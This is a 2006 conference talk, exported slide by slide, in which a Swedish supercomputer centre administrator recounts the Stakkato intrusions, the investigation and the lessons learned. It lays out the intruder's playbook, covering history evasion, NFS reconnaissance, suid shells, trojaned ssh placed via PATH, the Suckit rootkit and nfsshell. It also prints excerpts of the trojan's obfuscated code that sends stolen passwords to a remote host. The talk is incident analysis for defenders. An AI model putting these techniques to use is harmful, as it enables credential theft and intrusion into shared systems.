The Stakkato Intrusions
What happened and what have we learned?

HEPix talk

Leif Nixon
National Supercomputer Centre
`nixon@nsc.liu.se`

October 11, 2006

May 2005

The New York Times

Internet Attack Called Broad and Long Lasting by Investigators

SAN FRANCISCO, May 9 – The incident seemed alarming enough: a breach of a Cisco Systems network in which an intruder seized programming instructions for many of the computers that control the flow of the Internet.

Now federal officials and computer security investigators have acknowledged that the Cisco break-in last year was only part of a more extensive operation – involving a single intruder or a small band, apparently based in Europe – in which thousands of computer systems were similarly penetrated. [. . .]

Attention is focused on a 16-year-old in Uppsala, Sweden. [. . .]

As the attacks were first noted in April 2004, a researcher [. . .] began to receive taunting e-mail messages from someone going by the name Stakkato [. . .]

Lunchtime, Tuesday June 15, 2004

Lennart comes into my room, looking worried.

Lunchtime, Tuesday June 15, 2004

Lennart comes into my room, looking worried.

– Have *you* created an account called “x_marty”?

Root compromise on Monolith!

The front-end login node on our cluster Monolith was root compromised. At the time, this was the fastest computer in the nation.

I never did get a lunch that day.

Root compromise on Monolith!

New account, x_marty, created on Monolith the previous Saturday.

Logins to this account from universities in USA, Israel and Sweden, and from an home computer in Sweden.

From some of these systems, logins had also been made to a legitimate account, belonging to a user from another Swedish university.

Time for a chat.

So why didn’t you tell us?

We found an announcement on his department’s web page: Due to widespread intrusions and password thefts, users across the university would have to change their passwords. This was dated several weeks in the past. Great.

The announcement also mentioned that the passwords had been stolen by a modified ssh client.

Checking this, we found that the ssh client on Monolith was replaced by a trojan client.

Trojan ssh

So, anyone who had used this ssh client to log into another account had had their passwords stolen.

Passwords were transmitted to a remote machine, where the intruders could collect the passwords at their leasure.

First NSC intrusion in total

Three NSC administrators had their passwords stolen. A bunch of systems had had unauthorized logins. Two cluster frontends (Monolith and Otto) and an old SGI Origin had root intrusions.

Trojan ssh clients found on Monolith and the SGI machine. Otto had the Suckit rootkit installed.

Passwords stolen that allowed attacks on at least one other site.

Oh, the embarrassment…

The first thing we did when we discovered the root intrusion on Monolith was to change the root password on all our clusters.

We used the same new root password on all clusters. **Big mistake 1** – since the Otto cluster had a rootkit installed, the attackers intercepted the new root password.

Monolith was restored and put back in service before Otto was fully analyzed and the rootkit detected. And we kept the new root password on Monolith. **Big mistake 2.**

Return visit

So, one week later, on June 22, Monolith users were greeted by the following message when they logged in:

```
       \:/
      ::O:::
       /:\
        |.
        |
      #################
      #################
      $$$$$BEOWULF$$$$$
 ##########################
    /    ###    ###     \
   /     -x-   (_X_)     \
   \        (_o_0_)      /
    \   l`---._______/) /             RUNNING LINUX IS ALWAYS
     \  \     ##|##  / /    -------{  A GREAT OPTION IF YOU WANT
      \  `----------' /               TO SHARE YOUR ACCOUNT WITH
\|/    \_____________/                EVERYONE.
 |      |    >*<     |
 `------<     |*      >------.
        |     |*     |       |
        | ____|*____ |       |
        )/          \(      /|\
        |            |
    ___/             \____
   (__/               \__)
```

Very funny.

Return visit

No stealth this time. All accounts had new login shells that printed insulting messages on login.

We found a badly written non-functional script that was intended to start copies of itself on every node and e-mail more insulting messages to all users.

They also tried to deface our web server, but were interrupted in progress.

This time, we were down for a couple of weeks while every single NSC machine was thoroughly inspected and parts of Monolith were redesigned for increased security.

Coming back for more

During the following seven months we had a number of user level intrusions through stolen accounts, none of them leading to elevated privileges or data loss[1] at NSC.

Most of them came from thoroughly infested departments at other universities.

[1]As far as we know…

The broader view

Some of the sites/companies/providers known to have been at the receiving end of an attack:

berkeley.edu
bonet.se
brandeis.edu
bredbandsbolaget.se
brown.edu
bu.edu
cam.ac.uk
cern.ch
chalmers.se
cisco.com
columbia.edu
csbnet.se
desy.de
epfl.ch
gatech.edu
iastate.edu
jhu.edu
ki.se
kralovopolska.cz
kth.se
liu.se
liv.ac.uk
lu.se
mit.edu
naqua.se
nasa.gov
nikhef.nl
pitt.edu
rr.com
rutgers.edu
sdsc.edu
seagull.net
simons-rock.edu
skanova.com
skogsbrynet.se
songnetworks.se
stanford.edu
technion.ac.il
telia.com
uchicago.edu
uci.edu
ucolorado.edu
ucsc.edu
ucsd.edu
uiuc.edu
umea.se
umearc.se
umn.edu
umu.se
unige.ch
uta.fi
utk.edu
uu.se
wsmr.army.mil

This is just a small sample; from August 2003 through March 2005 something like a thousand sites were attacked.

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.
2. Disable command line history by doing `unset HISTFILE`.

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.
2. Disable command line history by doing `unset HISTFILE`.
3. Map the site:
   - Identify administrative users and groups. For example, is there a `/sw` filesystem with site-wide software, owned by a particular user or group?

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.
2. Disable command line history by doing `unset HISTFILE`.
3. Map the site:
   - Identify administrative users and groups. For example, is there a `/sw` filesystem with site-wide software, owned by a particular user or group?
   - Check `/etc/hosts` and `.ssh/known_hosts`. Locate NFS servers.

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.
2. Disable command line history by doing `unset HISTFILE`.
3. Map the site:
   - Identify administrative users and groups. For example, is there a `/sw` filesystem with site-wide software, owned by a particular user or group?
   - Check `/etc/hosts` and `.ssh/known_hosts`. Locate NFS servers.
   - Use `showmount` to find NFS clients. (Just cut'n'paste your standard `awk` command line to extract the hostnames into a temporary file.)

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.
2. Disable command line history by doing `unset HISTFILE`.
3. Map the site:
   - Identify administrative users and groups. For example, is there a `/sw` filesystem with site-wide software, owned by a particular user or group?
   - Check `/etc/hosts` and `.ssh/known_hosts`. Locate NFS servers.
   - Use `showmount` to find NFS clients. (Just cut'n'paste your standard `awk` command line to extract the hostnames into a temporary file.)
   - Loop over hosts (cut'n'paste your standard bash `for` loop) and try to log in on them using your stolen account. Save output from `w` and `uname -a` in a temp file.

Attacking sites the Stakkato way

1. Gain access to the site through stolen account.
2. Disable command line history by doing `unset HISTFILE`.
3. Map the site:
   - Identify administrative users and groups. For example, is there a `/sw` filesystem with site-wide software, owned by a particular user or group?
   - Check `/etc/hosts` and `.ssh/known_hosts`. Locate NFS servers.
   - Use `showmount` to find NFS clients. (Just cut'n'paste your standard `awk` command line to extract the hostnames into a temporary file.)
   - Loop over hosts (cut'n'paste your standard bash `for` loop) and try to log in on them using your stolen account. Save output from `w` and `uname -a` in a temp file.
   - Use this data to find potential targets. Easiest target: Linux machine with unpatched kernel. Otherwise: use toolbox of standard exploits for Linux, Solaris, Irix or AIX machines. There is bound to be an old forgotten NFS client machine *somewhere*…

Attacking sites the Stakkato way

4. Acquire root on one of your target machines. Use `/tmp/.../` as discreet working directory for compiling exploits, etc.

Attacking sites the Stakkato way

4. Acquire root on one of your target machines. Use `/tmp/.../` as discreet working directory for compiling exploits, etc.

5. At this point there are several ways to proceed, depending on the site configuration:

   - NFS filesystem mounted without root squashing, and without noexec/nosuid flags? Jackpot! Hide suid shell deep in directory hierarchy. Instant root access everywhere!

Attacking sites the Stakkato way

4. Acquire root on one of your target machines. Use `/tmp/.../` as discreet working directory for compiling exploits, etc.

5. At this point there are several ways to proceed, depending on the site configuration:

   - NFS filesystem mounted without root squashing, and without noexec/nosuid flags? Jackpot! Hide suid shell deep in directory hierarchy. Instant root access everywhere!
   - Otherwise, `su` to an administrative user and see if you can modify the site software, perhaps deploy your trusty ssh trojan.

Attacking sites the Stakkato way

4. Acquire root on one of your target machines. Use `/tmp/.../` as discreet working directory for compiling exploits, etc.

5. At this point there are several ways to proceed, depending on the site configuration:

   - NFS filesystem mounted without root squashing, and without noexec/nosuid flags? Jackpot! Hide suid shell deep in directory hierarchy. Instant root access everywhere!
   - Otherwise, `su` to an administrative user and see if you can modify the site software, perhaps deploy your trusty ssh trojan.
   - If that doesn't work, drop your ssh trojan into a user's home directory. (Change `.bash_profile` to put it first in `$PATH` if necessary.) Target an administrative user if possible – this may be a goldmine for root passwords.

Attacking sites the Stakkato way

4. Acquire root on one of your target machines. Use `/tmp/.../` as discreet working directory for compiling exploits, etc.
5. At this point there are several ways to proceed, depending on the site configuration:
   - NFS filesystem mounted without root squashing, and without noexec/nosuid flags? Jackpot! Hide suid shell deep in directory hierarchy. Instant root access everywhere!
   - Otherwise, `su` to an administrative user and see if you can modify the site software, perhaps deploy your trusty ssh trojan.
   - If that doesn't work, drop your ssh trojan into a user's home directory. (Change `.bash_profile` to put it first in `$PATH` if necessary.) Target an administrative user if possible – this may be a goldmine for root passwords.
6. Consider deploying the Suckit rootkit on Linux machines – snoops all entered passwords and provides a stealthy backdoor for remote root access.

nfsshell

Sometimes you can even skip step 4 (getting root on an NFS client).

Download and compile the `nfsshell`[1] utility – userspace NFS client.

If the NFS server doesn't verify that client requests use low-numbered source ports[2], you can use `nfsshell` to pose as any user, including root.

On some OS:s, the port number check is disabled by default!

[1] `ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz`
[2] i.e. that the client is running as root

Moving on

So you have infiltrated the site thoroughly. What now?

- Read other people's e-mail.
- Use site computers to run John the Ripper
- Sniff local network for cleartext passwords.
- …

But this grows old quick – time to move on to exciting new targets.

If you have not already done so, deploy your ssh trojan in one or several strategical locations. Wait for the passwords to roll in. Then start over at step 1.

Trojan ssh – a closer look

Ssh client built from source on Monolith

Source tree had been deleted, but The Coroner's Toolkit (TCT)[1] could retrieve most of it.

The source code was a slightly modified Openssh, with the most interesting modification being the addition of the little function `sendit()`.

[1] `http://www.porcupine.org/forensics/tct.html`

sendit()

```
int sendit(char *knark,char *email)
/* "knark" contains the remote username, hostname and password.
   "email" contains "lp@<university>.edu". (Unused variable) */
{
/* [do a fork() and variable initialization] */
char
host[]="\xe6\xe0\xf6\xfe\xec\xe6\xe0\xf6\xfe\xec\xf3\xfc\xe3\xf0\xf1\xfa
\xf9\xf9\xf4\xfd\xbb\xf4\xe1\xfd\xbb\xf6\xed";

p = host;
while(*p != '\0')
         {
         *p = 0x95 ^ *p;
         p++;
         }
/* Decodes host to an ath.cx domain name (Dynamic DNS service) */

he=gethostbyname(host);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(53);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
```

sendit()

```
/* [...] */

snprintf(msg,512,"-> %s@%s\n",usr->pw_name,hostname);
if(send(sockfd,msg,strlen(msg),0) == -1)
        exit(0);

snprintf(msg,512,"%s\n",knark);
if(send(sockfd,msg,strlen(msg),0) == -1)
        exit(0);

/* [cleanup stuff] */

return 0;
}
```

Useful variable names

Side comment: even though all hostnames and similar strings were XOR-“encoded” so they wouldn’t appear in cleartext in the binary, the variable name `knark` did appear, and proved to be a useful simple telltale:

```
$ grep knark ssh
Binary file ssh matches
```

That’s all there is to it

So, these simple tools and methods were all that was needed to crack a thousand high-profile sites.

And a certain addictive personality trait, of course.

Why this success?

The attacks weren’t exotic in any way, and not performed with any particular skill. Why were they so successful?

Why this success?

The attacks weren't exotic in any way, and not performed with any particular skill. Why were they so successful?

- Found an efficient way of jumping from site to site – and got a kick out of doing it.

Why this success?

The attacks weren't exotic in any way, and not performed with any particular skill. Why were they so successful?

- Found an efficient way of jumping from site to site – and got a kick out of doing it.
- Very adept at quickly finding weaknesses – and at the time there were fresh local root exploits in the Linux kernel.

Why this success?

The attacks weren't exotic in any way, and not performed with any particular skill. Why were they so successful?

- Found an efficient way of jumping from site to site – and got a kick out of doing it.
- Very adept at quickly finding weaknesses – and at the time there were fresh local root exploits in the Linux kernel.
- Many sites concentrate on remote attacks, not local. In particular, NFS is often not configured with sufficient paranoia.

Tracking the intrusions

A few days after the first intrusion at NSC, I was contacted by Jim Barlow at NCSA.

After a big wave of Stakkato intrusions early 2004[1], he had been working together with Victor Hazlewood at SDSC to keep track of the intrusions and to trace the intruder.

[1] "The Teragrid Incident" a.k.a. "FBI Case 216"

Listening in

One of the best ways of keeping track of the intrusions was to simply snoop the network connection to the password collection server.

When 80% of the cracked sites went away within a week, the intruders became aware that they were being snooped on.

They thrashed the machine and started moving the server around, but working with local admins, Jim and Victor were mostly able to set up a new wiretapping service within a few days.

Backtracking

Tracing the actual intruders proved harder, since they worked through several layers of cracked machines in different countries.

You might follow a chain of logins from, say, the US to Germany, France, Switzerland and then Germany again, before losing the trace.

What’s in a name?

But there were other leads:

“Knark” is Swedish slang for “narcotics”. It’s can be used to mean “good stuff” or “crazy stuff”. So, if you have a variable that contains a freshly stolen password, it’s quite reasonable to call it “knark”.

What’s in a name?

But there were other leads:

“Knark” is Swedish slang for “narcotics”. It’s can be used to mean “good stuff” or “crazy stuff”. So, if you have a variable that contains a freshly stolen password, it’s quite reasonable to call it “knark”.

If you are a Swedish teenager, that is.

Google to the rescue

Christian Nygaard, an admin at the math department at Uppsala University, which had been hit a couple of weeks before NSC, had also found the source of the ssh trojan.

He started googling keywords and phrases from the source, and soon found leads to a certain IRC channel. From there it was a “simple matter” of reading huge amounts of IRC logs and further googling to identify a group of suspects and, finally, match them to physical persons.

Frustrating wait

So we had reasonably good leads. However: leads $\neq$ proof.

Furthermore, Sweden has rather strict privacy laws, so the police couldn’t simply wiretap the suspects.

Indeed, it wasn’t until a new law was introduced on November 1, 2004, that this crime was considered serious enough that wiretapping could be used at all.

So, we had to wait patiently while the intrusions continued for more evidence to be slowly gathered.

Finally

March 9, 2005: A team of local police, national police and crime techs pays an early morning visit on the main suspect.

Finally

March 9, 2005: A team of local police, national police and crime techs pays an early morning visit on the main suspect.

Intrusions stop.

Finally

March 9, 2005: A team of local police, national police and crime techs pay an early morning visit on the main suspect.

Intrusions stop.

May 9, 2005: New York Times get the scoop. Newspapers run wild with "*Teenager stole the codes to the Internet!!!*"-type stories.

Right now

The police seized several computers and got lots and lots of material to sift through, much of it encrypted.

The preliminary investigation was finally concluded this summer, and the trial should start soonish.

What have we learned?

What we *should* have learned: communication is absolutely necessary.

What have we learned?

What we *should* have learned: communication is absolutely necessary.

Global attacks need global cooperation. It's not enough to fix your local problems, or even your national problems.

What have we learned?

What we *should* have learned: communication is absolutely necessary.

Global attacks need global cooperation. It’s not enough to fix your local problems, or even your national problems.

It is not enough to have prearranged channels – *ad hoc* organization is needed.

What have we learned?

What we *should* have learned: communication is absolutely necessary.

Global attacks need global cooperation. It's not enough to fix your local problems, or even your national problems.

It is not enough to have prearranged channels – *ad hoc* organization is needed.

Inflexible policies are bad. Especially if they confuse security with secrecy – there are still too many sites that try to hush up incidents. *Stupid!*

What have we confirmed once again?

Cathedral-vs-bazaar: 100% security is an illusion – your security will always be slightly broken. Find strategies for living with it.

What have we confirmed once again?

Cathedral-vs-bazaar: 100% security is an illusion – your security will always be slightly broken. Find strategies for living with it.

Corollary: You need defense-in-depth. Relying solely on “firewall-style” perimeter protection is a recipe for disaster[1].

[1]Firewalls aren’t necessarily bad – just insufficient

What have we confirmed once again?

Cathedral-vs-bazaar: 100% security is an illusion – your security will always be slightly broken. Find strategies for living with it.

Corollary: You need defense-in-depth. Relying solely on “firewall-style” perimeter protection is a recipe for disaster.

Host-based trust (AUTH_UNIX) in NFS is insufficient. (But setting up Secure RPC can be a hassle.)

What have we confirmed once again?

Cathedral-vs-bazaar: 100% security is an illusion – your security will always be slightly broken. Find strategies for living with it.

Corollary: You need defense-in-depth. Relying solely on “firewall-style” perimeter protection is a recipe for disaster.

Host-based trust (AUTH_UNIX) in NFS is insufficient. (But setting up Secure RPC can be a hassle.)

Password authentication is insufficient. (Where is the cheap, easy-to-use, secure, standardized two-factor scheme?)

What have we confirmed once again?

Cathedral-vs-bazaar: 100% security is an illusion – your security will always be slightly broken. Find strategies for living with it.

Corollary: You need defense-in-depth. Relying solely on “firewall-style” perimeter protection is a recipe for disaster.

Host-based trust (AUTH_UNIX) in NFS is insufficient. (But setting up Secure RPC can be a hassle.)

Password authentication is insufficient. (Where is the cheap, easy-to-use, secure, standardized two-factor scheme?)

Never ever make a single mistake when administering a cluster…

Acknowledgements

This was a team effort by hundreds of admins, CERT staff and police around the world.

Thanks to Jim and Chris for input to this presentation.